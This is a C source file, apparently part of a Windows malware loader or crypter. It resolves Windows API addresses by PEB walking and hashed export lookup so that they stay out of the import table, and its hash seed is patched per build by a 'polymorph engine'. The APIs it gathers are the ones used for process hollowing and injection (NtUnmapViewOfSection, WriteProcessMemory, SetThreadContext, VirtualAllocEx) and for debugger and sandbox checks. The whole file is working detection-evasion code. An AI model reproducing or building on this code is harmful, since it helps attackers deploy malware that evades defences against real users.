246 lines
10 KiB
C
Executable File
246 lines
10 KiB
C
Executable File
/**
|
|
* api_resolve.c -- PEB walking + PE export table hash resolution
|
|
*
|
|
* Resolves Win32 API addresses at runtime via DJB2 hash comparison,
|
|
* eliminating suspicious imports from the IAT. Hash seed and constants
|
|
* are patched per-build by the polymorph engine.
|
|
*/
|
|
|
|
#include <windows.h>
|
|
#include <stdint.h>
|
|
#include "api_resolve.h"
|
|
|
|
/* ── PEB structures (custom typedefs to avoid winternl.h conflicts) ── */
|
|
|
|
typedef struct _AR_LDR_DATA_TABLE_ENTRY {
|
|
LIST_ENTRY InMemoryOrderModuleList;
|
|
LIST_ENTRY InInitializationOrderModuleList;
|
|
LPVOID DllBase;
|
|
LPVOID EntryPoint;
|
|
ULONG SizeOfImage;
|
|
UNICODE_STRING FullDllName;
|
|
UNICODE_STRING BaseDllName;
|
|
} AR_LDR_DATA_TABLE_ENTRY, *PAR_LDR_DATA_TABLE_ENTRY;
|
|
|
|
typedef struct _AR_PEB_LDR_DATA {
|
|
DWORD Length;
|
|
DWORD Initialized;
|
|
LPVOID SsHandle;
|
|
LIST_ENTRY InLoadOrderModuleList;
|
|
LIST_ENTRY InMemoryOrderModuleList;
|
|
} AR_PEB_LDR_DATA, *PAR_PEB_LDR_DATA;
|
|
|
|
typedef struct _AR_PEB {
|
|
BYTE Reserved1[2];
|
|
BYTE BeingDebugged;
|
|
BYTE Reserved2;
|
|
#ifdef _WIN64
|
|
BYTE Reserved3[4];
|
|
#endif
|
|
LPVOID Reserved4[2];
|
|
PAR_PEB_LDR_DATA Ldr;
|
|
} AR_PEB, *PAR_PEB;
|
|
|
|
/* ── DJB2 hash seed (patched by polymorph engine) ──────────────── */
|
|
|
|
#define API_HASH_SEED 0xDEADBEEF
|
|
|
|
/* ── Global API table ──────────────────────────────────────────── */
|
|
|
|
ApiTable g_api;
|
|
|
|
/* ── Hash functions ────────────────────────────────────────────── */
|
|
|
|
static DWORD djb2_hash_wide_lower(const WCHAR *str, USHORT len_bytes) {
|
|
DWORD hash = API_HASH_SEED;
|
|
USHORT count = len_bytes / sizeof(WCHAR);
|
|
for (USHORT i = 0; i < count; i++) {
|
|
WCHAR c = str[i];
|
|
if (c >= L'A' && c <= L'Z') c += 0x20;
|
|
hash = hash * 33 + (DWORD)c;
|
|
}
|
|
return hash;
|
|
}
|
|
|
|
static DWORD djb2_hash_ascii(const char *str) {
|
|
DWORD hash = API_HASH_SEED;
|
|
while (*str) {
|
|
hash = hash * 33 + (unsigned char)*str;
|
|
str++;
|
|
}
|
|
return hash;
|
|
}
|
|
|
|
/* ── PEB walking: find module base by hash ─────────────────────── */
|
|
|
|
static void *peb_get_module(DWORD hash) {
|
|
#ifdef _WIN64
|
|
PAR_PEB_LDR_DATA ldr = ((PAR_PEB)__readgsqword(0x60))->Ldr;
|
|
#else
|
|
PAR_PEB_LDR_DATA ldr = ((PAR_PEB)__readfsdword(0x30))->Ldr;
|
|
#endif
|
|
|
|
PAR_LDR_DATA_TABLE_ENTRY first =
|
|
(PAR_LDR_DATA_TABLE_ENTRY)ldr->InMemoryOrderModuleList.Flink;
|
|
PAR_LDR_DATA_TABLE_ENTRY entry = first;
|
|
|
|
do {
|
|
if (entry->BaseDllName.Buffer) {
|
|
DWORD h = djb2_hash_wide_lower(
|
|
entry->BaseDllName.Buffer,
|
|
entry->BaseDllName.Length
|
|
);
|
|
if (h == hash) return entry->DllBase;
|
|
}
|
|
} while ((entry = (PAR_LDR_DATA_TABLE_ENTRY)
|
|
entry->InMemoryOrderModuleList.Flink) != first);
|
|
|
|
return NULL;
|
|
}
|
|
|
|
/* ── PE export table walking: find export by hash ──────────────── */
|
|
|
|
static void *peb_get_proc(void *base, DWORD hash) {
|
|
if (!base) return NULL;
|
|
|
|
LPBYTE mod = (LPBYTE)base;
|
|
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)mod;
|
|
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(mod + dos->e_lfanew);
|
|
IMAGE_EXPORT_DIRECTORY *exports = (IMAGE_EXPORT_DIRECTORY *)(
|
|
mod + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
|
|
);
|
|
|
|
DWORD *names = (DWORD *)(mod + exports->AddressOfNames);
|
|
WORD *ordinals = (WORD *)(mod + exports->AddressOfNameOrdinals);
|
|
DWORD *funcs = (DWORD *)(mod + exports->AddressOfFunctions);
|
|
|
|
for (DWORD i = 0; i < exports->NumberOfNames; i++) {
|
|
const char *name = (const char *)(mod + names[i]);
|
|
if (djb2_hash_ascii(name) == hash) {
|
|
return mod + funcs[ordinals[i]];
|
|
}
|
|
}
|
|
|
|
return NULL;
|
|
}
|
|
|
|
/* ── Combined resolver (internal) ──────────────────────────────── */
|
|
|
|
static void *resolve_api(DWORD mod_hash, DWORD fn_hash) {
|
|
void *mod = peb_get_module(mod_hash);
|
|
if (!mod) return NULL;
|
|
return peb_get_proc(mod, fn_hash);
|
|
}
|
|
|
|
/* ── Public: lazy resolution for one-off lookups ───────────────── */
|
|
|
|
void *api_resolve_func(DWORD mod_hash, DWORD fn_hash) {
|
|
return resolve_api(mod_hash, fn_hash);
|
|
}
|
|
|
|
/* ── Init: resolve all APIs into global table ──────────────────── */
|
|
|
|
void api_resolve_init(void) {
|
|
/* Module bases */
|
|
g_api.ntdll_base = peb_get_module(HASH_NTDLL);
|
|
g_api.kernel32_base = peb_get_module(HASH_KERNEL32);
|
|
|
|
/* ntdll */
|
|
g_api.pNtUnmapViewOfSection =
|
|
(fn_NtUnmapViewOfSection)peb_get_proc(g_api.ntdll_base, HASH_NtUnmapViewOfSection);
|
|
g_api.pNtQueryInformationProcess =
|
|
(fn_NtQueryInformationProcess)peb_get_proc(g_api.ntdll_base, HASH_NtQueryInformationProcess);
|
|
|
|
/* kernel32 — resolve LoadLibraryA first (needed for fallback loading) */
|
|
g_api.pLoadLibraryA =
|
|
(fn_LoadLibraryA)peb_get_proc(g_api.kernel32_base, HASH_LoadLibraryA);
|
|
g_api.pCreateProcessW =
|
|
(fn_CreateProcessW)peb_get_proc(g_api.kernel32_base, HASH_CreateProcessW);
|
|
g_api.pGetThreadContext =
|
|
(fn_GetThreadContext)peb_get_proc(g_api.kernel32_base, HASH_GetThreadContext);
|
|
g_api.pSetThreadContext =
|
|
(fn_SetThreadContext)peb_get_proc(g_api.kernel32_base, HASH_SetThreadContext);
|
|
g_api.pResumeThread =
|
|
(fn_ResumeThread)peb_get_proc(g_api.kernel32_base, HASH_ResumeThread);
|
|
g_api.pTerminateProcess =
|
|
(fn_TerminateProcess)peb_get_proc(g_api.kernel32_base, HASH_TerminateProcess);
|
|
g_api.pReadProcessMemory =
|
|
(fn_ReadProcessMemory)peb_get_proc(g_api.kernel32_base, HASH_ReadProcessMemory);
|
|
g_api.pWriteProcessMemory =
|
|
(fn_WriteProcessMemory)peb_get_proc(g_api.kernel32_base, HASH_WriteProcessMemory);
|
|
g_api.pVirtualAllocEx =
|
|
(fn_VirtualAllocEx)peb_get_proc(g_api.kernel32_base, HASH_VirtualAllocEx);
|
|
g_api.pVirtualAlloc =
|
|
(fn_VirtualAlloc)peb_get_proc(g_api.kernel32_base, HASH_VirtualAlloc);
|
|
g_api.pVirtualProtect =
|
|
(fn_VirtualProtect)peb_get_proc(g_api.kernel32_base, HASH_VirtualProtect);
|
|
g_api.pVirtualFree =
|
|
(fn_VirtualFree)peb_get_proc(g_api.kernel32_base, HASH_VirtualFree);
|
|
g_api.pCreateThread =
|
|
(fn_CreateThread)peb_get_proc(g_api.kernel32_base, HASH_CreateThread);
|
|
g_api.pWaitForSingleObject =
|
|
(fn_WaitForSingleObject)peb_get_proc(g_api.kernel32_base, HASH_WaitForSingleObject);
|
|
g_api.pCloseHandle =
|
|
(fn_CloseHandle)peb_get_proc(g_api.kernel32_base, HASH_CloseHandle);
|
|
g_api.pExitProcess =
|
|
(fn_ExitProcess)peb_get_proc(g_api.kernel32_base, HASH_ExitProcess);
|
|
g_api.pSleep =
|
|
(fn_Sleep)peb_get_proc(g_api.kernel32_base, HASH_Sleep);
|
|
g_api.pGetTickCount64 =
|
|
(fn_GetTickCount64)peb_get_proc(g_api.kernel32_base, HASH_GetTickCount64);
|
|
g_api.pGlobalMemoryStatusEx =
|
|
(fn_GlobalMemoryStatusEx)peb_get_proc(g_api.kernel32_base, HASH_GlobalMemoryStatusEx);
|
|
g_api.pGetSystemInfo =
|
|
(fn_GetSystemInfo)peb_get_proc(g_api.kernel32_base, HASH_GetSystemInfo);
|
|
g_api.pIsDebuggerPresent =
|
|
(fn_IsDebuggerPresent)peb_get_proc(g_api.kernel32_base, HASH_IsDebuggerPresent);
|
|
g_api.pGetCurrentProcess =
|
|
(fn_GetCurrentProcess)peb_get_proc(g_api.kernel32_base, HASH_GetCurrentProcess);
|
|
g_api.pQueryPerformanceFrequency =
|
|
(fn_QueryPerformanceFrequency)peb_get_proc(g_api.kernel32_base, HASH_QueryPerformanceFrequency);
|
|
g_api.pQueryPerformanceCounter =
|
|
(fn_QueryPerformanceCounter)peb_get_proc(g_api.kernel32_base, HASH_QueryPerformanceCounter);
|
|
g_api.pGetSystemDirectoryA =
|
|
(fn_GetSystemDirectoryA)peb_get_proc(g_api.kernel32_base, HASH_GetSystemDirectoryA);
|
|
g_api.plstrcatA =
|
|
(fn_lstrcatA)peb_get_proc(g_api.kernel32_base, HASH_lstrcatA);
|
|
g_api.pCreateFileA =
|
|
(fn_CreateFileA)peb_get_proc(g_api.kernel32_base, HASH_CreateFileA);
|
|
g_api.pGetFileSize =
|
|
(fn_GetFileSize)peb_get_proc(g_api.kernel32_base, HASH_GetFileSize);
|
|
g_api.pCreateFileMappingA =
|
|
(fn_CreateFileMappingA)peb_get_proc(g_api.kernel32_base, HASH_CreateFileMappingA);
|
|
g_api.pMapViewOfFile =
|
|
(fn_MapViewOfFile)peb_get_proc(g_api.kernel32_base, HASH_MapViewOfFile);
|
|
g_api.pUnmapViewOfFile =
|
|
(fn_UnmapViewOfFile)peb_get_proc(g_api.kernel32_base, HASH_UnmapViewOfFile);
|
|
g_api.pConvertThreadToFiber =
|
|
(fn_ConvertThreadToFiber)peb_get_proc(g_api.kernel32_base, HASH_ConvertThreadToFiber);
|
|
g_api.pCreateFiber =
|
|
(fn_CreateFiber)peb_get_proc(g_api.kernel32_base, HASH_CreateFiber);
|
|
g_api.pSwitchToFiber =
|
|
(fn_SwitchToFiber)peb_get_proc(g_api.kernel32_base, HASH_SwitchToFiber);
|
|
g_api.pDeleteFiber =
|
|
(fn_DeleteFiber)peb_get_proc(g_api.kernel32_base, HASH_DeleteFiber);
|
|
g_api.pFlushInstructionCache =
|
|
(fn_FlushInstructionCache)peb_get_proc(g_api.kernel32_base, HASH_FlushInstructionCache);
|
|
|
|
/* advapi32 — may not be loaded yet, use LoadLibraryA fallback */
|
|
void *advapi32 = peb_get_module(HASH_ADVAPI32);
|
|
if (!advapi32 && g_api.pLoadLibraryA) {
|
|
advapi32 = (void *)g_api.pLoadLibraryA("advapi32.dll");
|
|
}
|
|
g_api.pRegOpenKeyExA =
|
|
(fn_RegOpenKeyExA)peb_get_proc(advapi32, HASH_RegOpenKeyExA);
|
|
g_api.pRegCloseKey =
|
|
(fn_RegCloseKey)peb_get_proc(advapi32, HASH_RegCloseKey);
|
|
|
|
/* user32 — may not be loaded yet, use LoadLibraryA fallback */
|
|
void *user32 = peb_get_module(HASH_USER32);
|
|
if (!user32 && g_api.pLoadLibraryA) {
|
|
user32 = (void *)g_api.pLoadLibraryA("user32.dll");
|
|
}
|
|
g_api.pGetCursorPos =
|
|
(fn_GetCursorPos)peb_get_proc(user32, HASH_GetCursorPos);
|
|
}
|